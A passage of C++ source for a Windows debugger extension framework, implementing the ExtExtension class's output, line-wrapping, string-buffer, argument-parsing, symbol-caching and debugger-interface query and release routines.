ExtExtension::s_String[2000];\nchar ExtExtension::s_CircleStringBuffer[2000];\nchar* ExtExtension::s_CircleString = s_CircleStringBuffer;\n\nExtExtension::ExtExtension(void)\n : m_Advanced(\"The extension did not initialize properly.\"),\n m_Client(\"The extension did not initialize properly.\"),\n m_Control(\"The extension did not initialize properly.\"),\n m_Data(\"The extension did not initialize properly.\"),\n m_Registers(\"The extension did not initialize properly.\"),\n m_Symbols(\"The extension did not initialize properly.\"),\n m_System(\"The extension did not initialize properly.\"),\n m_Advanced2(\"The extension requires IDebugAdvanced2.\"),\n m_Advanced3(\"The extension requires IDebugAdvanced3.\"),\n m_Client2(\"The extension requires IDebugClient2.\"),\n m_Client3(\"The extension requires IDebugClient3.\"),\n m_Client4(\"The extension requires IDebugClient4.\"),\n m_Client5(\"The extension requires IDebugClient5.\"),\n m_Control2(\"The extension requires IDebugControl2.\"),\n m_Control3(\"The extension requires IDebugControl3.\"),\n m_Control4(\"The extension requires IDebugControl4.\"),\n m_Data2(\"The extension requires IDebugDataSpaces2.\"),\n m_Data3(\"The extension requires IDebugDataSpaces3.\"),\n m_Data4(\"The extension requires IDebugDataSpaces4.\"),\n m_Registers2(\"The extension requires IDebugRegisters2.\"),\n m_Symbols2(\"The extension requires IDebugSymbols2.\"),\n m_Symbols3(\"The extension requires IDebugSymbols3.\"),\n m_System2(\"The extension requires IDebugSystemObjects2.\"),\n m_System3(\"The extension requires IDebugSystemObjects3.\"),\n m_System4(\"The extension requires IDebugSystemObjects4.\")\n{\n m_ExtMajorVersion = 1;\n m_ExtMinorVersion = 0;\n m_ExtInitFlags = DEBUG_EXTINIT_HAS_COMMAND_HELP;\n\n m_KnownStructs = NULL;\n m_ProvidedValues = NULL;\n \n m_ExInitialized = false;\n m_OutMask = DEBUG_OUTPUT_NORMAL;\n m_CurChar = 0;\n m_LeftIndent = 0;\n m_AllowWrap = true;\n m_TestWrap = 0;\n\n m_CurCommand = NULL;\n \n m_AppendBuffer = NULL;\n m_AppendBufferChars = 0;\n m_AppendAt = NULL;\n}\n\nHRESULT\nExtExtension::Initialize(void)\n{\n return S_OK;\n}\n\nvoid\nExtExtension::Uninitialize(void)\n{\n // Empty.\n}\n\nvoid\nExtExtension::OnSessionActive(__in ULONG64 Argument)\n{\n UNREFERENCED_PARAMETER(Argument);\n // Empty.\n}\n\nvoid\nExtExtension::OnSessionInactive(__in ULONG64 Argument)\n{\n UNREFERENCED_PARAMETER(Argument);\n // Empty.\n}\n\nvoid\nExtExtension::OnSessionAccessible(__in ULONG64 Argument)\n{\n UNREFERENCED_PARAMETER(Argument);\n // Empty.\n}\n\nvoid\nExtExtension::OnSessionInaccessible(__in ULONG64 Argument)\n{\n UNREFERENCED_PARAMETER(Argument);\n // Empty.\n}\n\nvoid WINAPIV\nExtExtension::Out(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->OutputVaList(m_OutMask, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Warn(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->OutputVaList(DEBUG_OUTPUT_WARNING, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Err(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->OutputVaList(DEBUG_OUTPUT_ERROR, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Verb(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->OutputVaList(DEBUG_OUTPUT_VERBOSE, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Out(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->OutputVaListWide(m_OutMask, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Warn(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->OutputVaListWide(DEBUG_OUTPUT_WARNING, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Err(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->OutputVaListWide(DEBUG_OUTPUT_ERROR, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Verb(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->OutputVaListWide(DEBUG_OUTPUT_VERBOSE, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Dml(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,\n m_OutMask, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::DmlWarn(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,\n DEBUG_OUTPUT_WARNING, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::DmlErr(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,\n DEBUG_OUTPUT_ERROR, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::DmlVerb(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,\n DEBUG_OUTPUT_VERBOSE, Format, Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::Dml(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,\n m_OutMask,\n Format,\n Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::DmlWarn(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,\n DEBUG_OUTPUT_WARNING,\n Format,\n Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::DmlErr(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,\n DEBUG_OUTPUT_ERROR,\n Format,\n Args);\n va_end(Args);\n}\n\nvoid WINAPIV\nExtExtension::DmlVerb(__in PCWSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,\n DEBUG_OUTPUT_VERBOSE,\n Format,\n Args);\n va_end(Args);\n}\n\nvoid\nExtExtension::WrapLine(void)\n{\n if (m_LeftIndent)\n {\n m_Control->Output(m_OutMask, \"\\n%*c\", m_LeftIndent, ' ');\n }\n else\n {\n m_Control->Output(m_OutMask, \"\\n\");\n }\n m_CurChar = m_LeftIndent;\n}\n\nvoid\nExtExtension::OutWrapStr(__in PCSTR String)\n{\n if (m_TestWrap)\n {\n m_TestWrapChars += strlen(String);\n return;\n }\n \n while (*String)\n {\n //\n // Collect characters until the end or\n // until we run out of output width.\n //\n\n PCSTR Scan = String;\n PCSTR LastSpace = NULL;\n while (*Scan &&\n *Scan != '\\n' &&\n (!m_AllowWrap ||\n !LastSpace ||\n m_CurChar < m_OutputWidth))\n {\n if (*Scan == ' ')\n {\n LastSpace = Scan;\n }\n \n m_CurChar++;\n Scan++;\n }\n\n if (m_AllowWrap &&\n LastSpace &&\n ((*Scan && *Scan != '\\n') ||\n m_CurChar >= m_OutputWidth))\n {\n // We ran out of room, so dump output up\n // to the last space.\n Scan = LastSpace;\n }\n\n m_Control->Output(m_OutMask, \"%.*s\", (int)(Scan - String), String);\n\n if (!*Scan)\n {\n break;\n }\n\n //\n // Wrap to the next line.\n //\n \n WrapLine();\n String = Scan + 1;\n while (*String == ' ')\n {\n String++;\n }\n }\n}\n\nvoid WINAPIV\nExtExtension::OutWrapVa(__in PCSTR Format,\n __in va_list Args)\n{\n StringCbVPrintf(s_String, sizeof(s_String), Format, Args);\n OutWrapStr(s_String);\n}\n\nvoid WINAPIV\nExtExtension::OutWrap(__in PCSTR Format,\n ...)\n{\n va_list Args;\n \n va_start(Args, Format);\n OutWrapVa(Format, Args);\n va_end(Args);\n}\n\nPSTR\nExtExtension::RequestCircleString(__in ULONG Chars)\n{\n if (Chars > EXT_DIMA(s_CircleStringBuffer))\n {\n ThrowInvalidArg(\"Circle string buffer overflow, %u chars\", Chars);\n }\n\n if ((ULONG_PTR)(s_CircleString - s_CircleStringBuffer) >\n EXT_DIMA(s_CircleStringBuffer) - Chars)\n {\n // String is too long to fit in the remainder, wrap around.\n s_CircleString = s_CircleStringBuffer;\n }\n\n PSTR Str = s_CircleString;\n s_CircleString += Chars;\n return Str;\n}\n\nPSTR\nExtExtension::CopyCircleString(__in PCSTR Str)\n{\n PSTR Buf;\n ULONG Chars;\n \n Chars = strlen(Str) + 1;\n Buf = RequestCircleString(Chars);\n memcpy(Buf, Str, Chars * sizeof(*Str));\n return Buf;\n}\n\nPSTR\nExtExtension::PrintCircleStringVa(__in PCSTR Format,\n __in va_list Args)\n{\n StringCbVPrintf(s_String, sizeof(s_String), Format, Args);\n return CopyCircleString(s_String);\n}\n\nPSTR WINAPIV\nExtExtension::PrintCircleString(__in PCSTR Format,\n ...)\n{\n PSTR Str;\n va_list Args;\n\n va_start(Args, Format);\n Str = PrintCircleStringVa(Format, Args);\n va_end(Args);\n return Str;\n}\n \nvoid\nExtExtension::SetAppendBuffer(__in_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars)\n{\n m_AppendBuffer = Buffer;\n m_AppendBufferChars = BufferChars;\n m_AppendAt = Buffer;\n}\n\nvoid\nExtExtension::AppendBufferString(__in PCSTR Str)\n{\n ULONG Chars;\n \n Chars = strlen(Str) + 1;\n if (Chars > m_AppendBufferChars ||\n (ULONG_PTR)(m_AppendAt - m_AppendBuffer) > m_AppendBufferChars - Chars)\n {\n ThrowStatus(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW),\n \"Append string overflowed\");\n }\n\n memcpy(m_AppendAt, Str, Chars * sizeof(*Str));\n // Position next append where it will overwrite the terminator\n // to continue the existing string.\n m_AppendAt += Chars - 1;\n}\n\nvoid\nExtExtension::AppendStringVa(__in PCSTR Format,\n __in va_list Args)\n{\n if (m_AppendBuffer >= s_String &&\n m_AppendBuffer <= s_String + (EXT_DIMA(s_String) - 1))\n {\n ThrowInvalidArg(\"Append string buffer cannot use s_String\");\n }\n \n StringCbVPrintf(s_String, sizeof(s_String), Format, Args);\n AppendBufferString(s_String);\n}\n\nvoid WINAPIV\nExtExtension::AppendString(__in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n AppendStringVa(Format, Args);\n va_end(Args);\n}\n \nvoid\nExtExtension::SetCallStatus(__in HRESULT Status)\n{\n // If an error has already been saved don't override it.\n if (!FAILED(m_CallStatus))\n {\n m_CallStatus = Status;\n }\n}\n\nULONG\nExtExtension::GetCachedSymbolTypeId(__inout PULONG64 Cookie,\n __in PCSTR Symbol,\n __out PULONG64 ModBase)\n{\n HRESULT Status;\n DEBUG_CACHED_SYMBOL_INFO Info;\n\n //\n // Check for an existing cache entry.\n //\n \n if ((Status = m_Advanced2->\n Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO,\n Cookie,\n sizeof(*Cookie),\n &Info,\n sizeof(Info),\n NULL)) == S_OK)\n {\n *ModBase = Info.ModBase;\n return Info.Id;\n }\n\n //\n // No entry in cache, find the data the hard way.\n //\n\n ZeroMemory(&Info, sizeof(Info));\n \n if ((Status = m_Symbols->\n GetSymbolTypeId(Symbol, \n &Info.Id,\n &Info.ModBase)) != S_OK)\n {\n ThrowStatus(Status, \"Unable to get type ID of '%s'\",\n Symbol);\n }\n\n *ModBase = Info.ModBase;\n \n //\n // Add recovered info to cache.\n // We don't care if this fails as\n // cache addition is not required,\n // we just zero the cookie.\n //\n\n if (m_Advanced2->\n Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO,\n &Info,\n sizeof(Info),\n Cookie,\n sizeof(*Cookie),\n NULL) != S_OK)\n {\n *Cookie = 0;\n }\n\n return Info.Id;\n}\n\nULONG\nExtExtension::GetCachedFieldOffset(__inout PULONG64 Cookie,\n __in PCSTR Type,\n __in PCSTR Field,\n __out_opt PULONG64 TypeModBase,\n __out_opt PULONG TypeId)\n{\n HRESULT Status;\n DEBUG_CACHED_SYMBOL_INFO Info;\n\n //\n // Check for an existing cache entry.\n //\n \n if ((Status = m_Advanced2->\n Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO,\n Cookie,\n sizeof(*Cookie),\n &Info,\n sizeof(Info),\n NULL)) == S_OK)\n {\n if (TypeModBase)\n {\n *TypeModBase = Info.ModBase;\n }\n if (TypeId)\n {\n *TypeId = Info.Id;\n }\n return Info.Arg3;\n }\n\n //\n // No entry in cache, find the data the hard way.\n //\n\n ZeroMemory(&Info, sizeof(Info));\n \n if ((Status = m_Symbols->\n GetSymbolTypeId(Type, \n &Info.Id,\n &Info.ModBase)) != S_OK)\n {\n ThrowStatus(Status, \"Unable to get type ID of '%s'\",\n Type);\n }\n if ((Status = m_Symbols->\n GetFieldOffset(Info.ModBase,\n Info.Id,\n Field,\n &Info.Arg3)) != S_OK)\n {\n ThrowStatus(Status, \"Unable to get field '%s.%s'\",\n Type, Field);\n }\n \n if (TypeModBase)\n {\n *TypeModBase = Info.ModBase;\n }\n if (TypeId)\n {\n *TypeId = Info.Id;\n }\n\n //\n // Add recovered info to cache.\n // We don't care if this fails as\n // cache addition is not required,\n // we just zero the cookie.\n //\n\n if (m_Advanced2->\n Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO,\n &Info,\n sizeof(Info),\n Cookie,\n sizeof(*Cookie),\n NULL) != S_OK)\n {\n *Cookie = 0;\n }\n\n return Info.Arg3;\n}\n\nbool\nExtExtension::GetCachedSymbolInfo(__in ULONG64 Cookie,\n __out PDEBUG_CACHED_SYMBOL_INFO Info)\n{\n HRESULT Status;\n \n if ((Status = m_Advanced2->\n Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO,\n &Cookie,\n sizeof(Cookie),\n Info,\n sizeof(*Info),\n NULL)) == S_OK)\n {\n return true;\n }\n \n return false;\n}\n\nbool\nExtExtension::AddCachedSymbolInfo(__in PDEBUG_CACHED_SYMBOL_INFO Info,\n __in bool ThrowFailure,\n __out PULONG64 Cookie)\n{\n HRESULT Status;\n \n if ((Status = m_Advanced2->\n Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO,\n Info,\n sizeof(*Info),\n Cookie,\n sizeof(*Cookie),\n NULL)) == S_OK)\n {\n return true;\n }\n \n if (ThrowFailure)\n {\n ThrowStatus(Status, \"Unable to cache symbol info\");\n }\n\n return false;\n}\n\nvoid\nExtExtension::GetModuleImagehlpInfo(__in ULONG64 ModBase,\n __out struct _IMAGEHLP_MODULEW64* Info)\n{\n HRESULT Status;\n\n ZeroMemory(Info, sizeof(*Info));\n Info->SizeOfStruct = sizeof(*Info);\n \n if ((Status = m_Advanced2->\n GetSymbolInformation(DEBUG_SYMINFO_IMAGEHLP_MODULEW64,\n ModBase,\n 0,\n Info,\n Info->SizeOfStruct,\n NULL,\n NULL,\n 0,\n NULL)) != S_OK)\n {\n ThrowStatus(Status, \"Unable to retrieve module info\");\n }\n}\n\nbool\nExtExtension::ModuleHasGlobalSymbols(__in ULONG64 ModBase)\n{\n IMAGEHLP_MODULEW64 Info;\n\n GetModuleImagehlpInfo(ModBase, &Info);\n return Info.GlobalSymbols != FALSE;\n}\n\nbool\nExtExtension::ModuleHasTypeInfo(__in ULONG64 ModBase)\n{\n IMAGEHLP_MODULEW64 Info;\n \n GetModuleImagehlpInfo(ModBase, &Info);\n return Info.TypeInfo != FALSE;\n}\n\nPCSTR\nExtExtension::GetUnnamedArgStr(__in ULONG Index)\n{\n if (Index >= m_NumUnnamedArgs)\n {\n ThrowInvalidArg(\"Invalid unnamed argument index %u, only given %u\",\n Index + 1, m_NumUnnamedArgs);\n }\n if (!m_Args[Index].StrVal)\n {\n ThrowInvalidArg(\"Unnamed argument index %u is not a string\",\n Index + 1);\n }\n\n return m_Args[Index].StrVal;\n}\n\nULONG64\nExtExtension::GetUnnamedArgU64(__in ULONG Index)\n{\n if (Index >= m_NumUnnamedArgs)\n {\n ThrowInvalidArg(\"Invalid unnamed argument index %u, only given %u\",\n Index + 1, m_NumUnnamedArgs);\n }\n if (m_Args[Index].StrVal)\n {\n ThrowInvalidArg(\"Unnamed argument index %u is not a number\",\n Index + 1);\n }\n\n return m_Args[Index].NumVal;\n}\n\nPCSTR\nExtExtension::GetArgStr(__in PCSTR Name,\n __in bool Required)\n{\n ArgVal* Arg = FindArg(Name, Required);\n if (!Arg)\n {\n return NULL;\n }\n if (!Arg->StrVal)\n {\n ThrowInvalidArg(\"Argument /%s is not a string\",\n Name);\n }\n return Arg->StrVal;\n}\n\nULONG64\nExtExtension::GetArgU64(__in PCSTR Name,\n __in bool Required)\n{\n ArgVal* Arg = FindArg(Name, Required);\n if (!Arg)\n {\n return 0;\n }\n if (Arg->StrVal)\n {\n ThrowInvalidArg(\"Argument /%s is not a number\",\n Name);\n }\n return Arg->NumVal;\n}\n\nbool\nExtExtension::SetUnnamedArg(__in ULONG Index,\n __in_opt PCSTR StrArg,\n __in ULONG64 NumArg,\n __in bool OnlyIfUnset)\n{\n ExtCommandDesc::ArgDesc* Check = m_CurCommand->FindUnnamedArg(Index);\n if (!Check)\n {\n ThrowInvalidArg(\"Unnamed argument index %u too large\", Index);\n }\n\n ArgVal* Val = NULL;\n \n if (HasUnnamedArg(Index))\n {\n if (OnlyIfUnset)\n {\n return false;\n }\n\n Val = &m_Args[Index];\n }\n\n SetRawArgVal(Check, Val, true, StrArg, false, NumArg);\n return true;\n}\n\nbool\nExtExtension::SetArg(__in PCSTR Name,\n __in_opt PCSTR StrArg,\n __in ULONG64 NumArg,\n __in bool OnlyIfUnset)\n{\n ExtCommandDesc::ArgDesc* Check = m_CurCommand->FindArg(Name);\n if (!Check)\n {\n ThrowInvalidArg(\"No argument named '%s'\", Name);\n }\n\n ArgVal* Val = FindArg(Name, false);\n\n if (Val)\n {\n if (OnlyIfUnset)\n {\n return false;\n }\n }\n\n SetRawArgVal(Check, Val, true, StrArg, false, NumArg);\n return true;\n}\n\nPCSTR\nExtExtension::GetExpr64(__in PCSTR Str,\n __in bool Signed,\n __in ULONG64 Limit,\n __out PULONG64 Val)\n{\n HRESULT Status;\n DEBUG_VALUE FullVal;\n ULONG EndIdx;\n\n if ((Status = m_Control->\n Evaluate(Str, DEBUG_VALUE_INT64, &FullVal, &EndIdx)) != S_OK)\n {\n ExtStatusException Ex(Status);\n\n Ex.PrintMessage(s_String, EXT_DIMA(s_String),\n \"Unable to evaluate expression '%s'\", Str);\n throw Ex;\n }\n if ((!Signed &&\n FullVal.I64 > Limit) ||\n (Signed &&\n ((LONG64)FullVal.I64 < -(LONG64)Limit ||\n (LONG64)FullVal.I64 > (LONG64)Limit)))\n {\n ThrowInvalidArg(\"Result overflow in expression '%s'\", Str);\n }\n\n *Val = FullVal.I64;\n Str += EndIdx;\n\n while (IsSpace(*Str))\n {\n Str++;\n }\n\n return Str;\n}\n\nvoid WINAPIV\nExtExtension::ThrowInvalidArg(__in PCSTR Format,\n ...)\n{\n ExtInvalidArgumentException Ex(\"\");\n va_list Args;\n\n va_start(Args, Format);\n Ex.PrintMessageVa(s_String, EXT_DIMA(s_String),\n Format, Args);\n va_end(Args);\n throw Ex;\n}\n\nvoid WINAPIV\nExtExtension::ThrowRemote(__in HRESULT Status,\n __in PCSTR Format,\n ...)\n{\n ExtRemoteException Ex(Status, \"\");\n va_list Args;\n\n va_start(Args, Format);\n Ex.PrintMessageVa(s_String, EXT_DIMA(s_String),\n Format, Args);\n va_end(Args);\n throw Ex;\n}\n\nvoid WINAPIV\nExtExtension::ThrowStatus(__in HRESULT Status,\n __in PCSTR Format,\n ...)\n{\n ExtStatusException Ex(Status);\n va_list Args;\n\n va_start(Args, Format);\n Ex.PrintMessageVa(s_String, EXT_DIMA(s_String),\n Format, Args);\n va_end(Args);\n throw Ex;\n}\n\nvoid\nExtExtension::ExInitialize(void)\n{\n if (m_ExInitialized)\n {\n return;\n }\n\n m_ExInitialized = true;\n\n //\n // Special initialization pass that\n // is done when output can be produced\n // and exceptions thrown.\n // This pass allows verbose feedback on\n // errors, as opposed to the DLL-load Initialize().\n //\n}\n\n#define REQ_IF(_If, _Member) \\\n if ((Status = Start->QueryInterface(__uuidof(_If), \\\n (PVOID*)&_Member)) != S_OK) \\\n { \\\n goto Exit; \\\n }\n#define OPT_IF(_If, _Member) \\\n if ((Status = Start->QueryInterface(__uuidof(_If), \\\n (PVOID*)&_Member)) != S_OK) \\\n { \\\n _Member.Set(NULL); \\\n }\n\nHRESULT\nExtExtension::Query(__in PDEBUG_CLIENT Start)\n{\n HRESULT Status;\n\n // We don't support nested queries.\n if (*&m_Advanced != NULL)\n {\n return E_UNEXPECTED;\n }\n\n m_ArgCopy = NULL;\n \n REQ_IF(IDebugAdvanced, m_Advanced);\n REQ_IF(IDebugClient, m_Client);\n REQ_IF(IDebugControl, m_Control);\n REQ_IF(IDebugDataSpaces, m_Data);\n REQ_IF(IDebugRegisters, m_Registers);\n REQ_IF(IDebugSymbols, m_Symbols);\n REQ_IF(IDebugSystemObjects, m_System);\n \n OPT_IF(IDebugAdvanced2, m_Advanced2);\n OPT_IF(IDebugAdvanced3, m_Advanced3);\n OPT_IF(IDebugClient2, m_Client2);\n OPT_IF(IDebugClient3, m_Client3);\n OPT_IF(IDebugClient4, m_Client4);\n OPT_IF(IDebugClient5, m_Client5);\n OPT_IF(IDebugControl2, m_Control2);\n OPT_IF(IDebugControl3, m_Control3);\n OPT_IF(IDebugControl4, m_Control4);\n OPT_IF(IDebugDataSpaces2, m_Data2);\n OPT_IF(IDebugDataSpaces3, m_Data3);\n OPT_IF(IDebugDataSpaces4, m_Data4);\n OPT_IF(IDebugRegisters2, m_Registers2);\n OPT_IF(IDebugSymbols2, m_Symbols2);\n OPT_IF(IDebugSymbols3, m_Symbols3);\n OPT_IF(IDebugSystemObjects2, m_System2);\n OPT_IF(IDebugSystemObjects3, m_System3);\n OPT_IF(IDebugSystemObjects4, m_System4);\n\n // If this isn't a dump target GetDumpFormatFlags\n // will fail, so just zero the flags. People\n // checking should check the class and qualifier\n // first so having them zeroed is not a problem.\n if (!m_Control2.IsSet() ||\n m_Control2->GetDumpFormatFlags(&m_DumpFormatFlags) != S_OK)\n {\n m_DumpFormatFlags = 0;\n }\n \n if ((Status = m_Control->\n GetDebuggeeType(&m_DebuggeeClass,\n &m_DebuggeeQual)) != S_OK ||\n (Status = m_Client->\n GetOutputWidth(&m_OutputWidth)) != S_OK ||\n (Status = m_Control->\n GetActualProcessorType(&m_ActualMachine)) != S_OK ||\n (Status = m_Control->\n GetEffectiveProcessorType(&m_Machine)) != S_OK ||\n (Status = m_Control->\n GetPageSize(&m_PageSize)) != S_OK ||\n // IsPointer64Bit check must be last as Status\n // is used to compute the pointer size below.\n FAILED(Status = m_Control->\n IsPointer64Bit()))\n {\n goto Exit;\n }\n if (Status == S_OK)\n {\n m_PtrSize = 8;\n m_OffsetMask = 0xffffffffffffffffUI64;\n }\n else\n {\n m_PtrSize = 4;\n m_OffsetMask = 0xffffffffUI64;\n }\n\n // User targets may fail a processor count request.\n if (m_Control->GetNumberProcessors(&m_NumProcessors) != S_OK)\n {\n m_NumProcessors = 0;\n }\n \n ExtensionApis.nSize = sizeof(ExtensionApis);\n Status = m_Control->GetWindbgExtensionApis64(&ExtensionApis);\n if (Status == RPC_E_CALL_REJECTED)\n {\n // GetWindbgExtensionApis64 is not remotable,\n // and this particular failure means we\n // are running remotely. Go on without any\n // wdbgexts support.\n ZeroMemory(&ExtensionApis, sizeof(ExtensionApis));\n m_IsRemote = true;\n Status = S_OK;\n }\n else\n {\n m_IsRemote = false;\n }\n\n RefreshOutputCallbackFlags();\n\n Exit:\n if (Status != S_OK)\n {\n if (*&m_Control != NULL)\n {\n m_Control->Output(DEBUG_OUTPUT_ERROR,\n \"ERROR: Unable to query interfaces, 0x%08x\\n\",\n Status);\n }\n Release();\n }\n return Status;\n}\n\nvoid\nExtExtension::Release(void)\n{\n EXT_RELEASE(m_Advanced);\n EXT_RELEASE(m_Client);\n EXT_RELEASE(m_Control);\n EXT_RELEASE(m_Data);\n EXT_RELEASE(m_Registers);\n EXT_RELEASE(m_Symbols);\n EXT_RELEASE(m_System);\n EXT_RELEASE(m_Advanced2);\n EXT_RELEASE(m_Advanced3);\n EXT_RELEASE(m_Client2);\n EXT_RELEASE(m_Client3);\n EXT_RELEASE(m_Client4);\n EXT_RELEASE(m_Client5);\n EXT_RELEASE(m_Control2);\n EXT_RELEASE(m_Control3);\n EXT_RELEASE(m_Control4);\n EXT_RELEASE(m_Data2);\n EXT_RELEASE(m_Data3);\n EXT_RELEASE(m_Data4);\n EXT_RELEASE(m_Registers2);\n EXT_RELEASE(m_Symbols2);\n EXT_RELEASE(m_Symbols3);\n EXT_RELEASE(m_System2);\n EXT_RELEASE(m_System3);\n EXT_RELEASE(m_System4);\n ZeroMemory(&ExtensionApis, sizeof(ExtensionApis));\n free(m_ArgCopy);\n m_ArgCopy = NULL;\n m_CurCommand = NULL;\n}\n\nHRESULT\nExtExtension::CallCommandMethod(__in ExtCommandDesc* Desc,\n __in_opt PCSTR Args)\n{\n HRESULT Status;\n \n try\n {\n ExInitialize();\n Desc->ExInitialize(this);\n \n ParseArgs(Desc, Args);\n \n m_CallStatus = S_OK;\n // Release NULLs this out.\n m_CurCommand = Desc;\n\n (this->*Desc->m_Method)();\n\n Status = m_CallStatus;\n }\n catch(ExtInterruptException Ex)\n {\n m_Control->Output(DEBUG_OUTPUT_ERROR, \"!%s: %s.\\n\",\n Desc->m_Name, Ex.GetMessage());\n Status = Ex.GetStatus();\n }\n catch(ExtException Ex)\n {\n if (Ex.GetMessage())\n {\n if (FAILED(Ex.GetStatus()))\n {\n m_Control->\n Output(DEBUG_OUTPUT_ERROR,\n \"ERROR: !%s: extension exception \"\n \"0x%08x.\\n \\\"%s\\\"\\n\",\n Desc->m_Name, Ex.GetStatus(), Ex.GetMessage());\n }\n else\n {\n m_Control->Output(DEBUG_OUTPUT_NORMAL, \"!%s: %s\\n\",\n Desc->m_Name, Ex.GetMessage());\n }\n }\n else if (Ex.GetStatus() != DEBUG_EXTENSION_CONTINUE_SEARCH &&\n Ex.GetStatus() != DEBUG_EXTENSION_RELOAD_EXTENSION &&\n FAILED(Ex.GetStatus()))\n {\n m_Control->\n Output(DEBUG_OUTPUT_ERROR,\n \"ERROR: !%s: extension exception 0x%08x.\\n\",\n Desc->m_Name, Ex.GetStatus());\n }\n Status = Ex.GetStatus();\n }\n\n return Status;\n}\n\nHRESULT\nExtExtension::CallCommand(__in ExtCommandDesc* Desc,\n __in PDEBUG_CLIENT Client,\n __in_opt PCSTR Args)\n{\n HRESULT Status = Query(Client);\n if (Status != S_OK)\n {\n return Status;\n }\n\n // Use a hard SEH try/finally to guarantee that\n // Release always occurs.\n __try\n {\n Status = CallCommandMethod(Desc, Args);\n }\n __finally\n {\n Release();\n }\n\n return Status;\n}\n\nHRESULT\nExtExtension::CallKnownStructMethod(__in ExtKnownStruct* Struct,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __out_ecount(*BufferChars) PSTR Buffer,\n __inout PULONG BufferChars)\n{\n HRESULT Status;\n \n try\n {\n ExInitialize();\n SetAppendBuffer(Buffer, *BufferChars);\n \n m_CallStatus = S_OK;\n\n (this->*Struct->Method)(Struct->TypeName, Flags, Offset);\n\n Status = m_CallStatus;\n }\n catch(ExtException Ex)\n {\n Status = Ex.GetStatus();\n }\n\n return Status;\n}\n\nHRESULT\nExtExtension::CallKnownStruct(__in PDEBUG_CLIENT Client,\n __in ExtKnownStruct* Struct,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __out_ecount(*BufferChars) PSTR Buffer,\n __inout PULONG BufferChars)\n{\n HRESULT Status = Query(Client);\n if (Status != S_OK)\n {\n return Status;\n }\n\n // Use a hard SEH try/finally to guarantee that\n // Release always occurs.\n __try\n {\n Status = CallKnownStructMethod(Struct, Flags, Offset,\n Buffer, BufferChars);\n }\n __finally\n {\n Release();\n }\n\n return Status;\n}\n\nHRESULT\nExtExtension::HandleKnownStruct(__in PDEBUG_CLIENT Client,\n __in ULONG Flags,\n __in ULONG64 Offset,\n __in_opt PCSTR TypeName,\n __out_ecount_opt(*BufferChars) PSTR Buffer,\n __inout_opt PULONG BufferChars)\n{\n HRESULT Status;\n ExtKnownStruct* Struct = m_KnownStructs;\n \n if (Flags == DEBUG_KNOWN_STRUCT_GET_NAMES &&\n Buffer != NULL &&\n *BufferChars > 0)\n {\n ULONG CharsNeeded;\n \n //\n // Return names of known structs packed in\n // the output buffer.\n //\n\n // Save a character for the double terminator.\n (*BufferChars)--;\n CharsNeeded = 1;\n\n Status = S_OK;\n while (Struct && Struct->TypeName)\n {\n ULONG Chars = strlen(Struct->TypeName) + 1;\n CharsNeeded += Chars;\n \n if (Status != S_OK || *BufferChars < Chars)\n {\n Status = S_FALSE;\n }\n else\n {\n memcpy(Buffer, 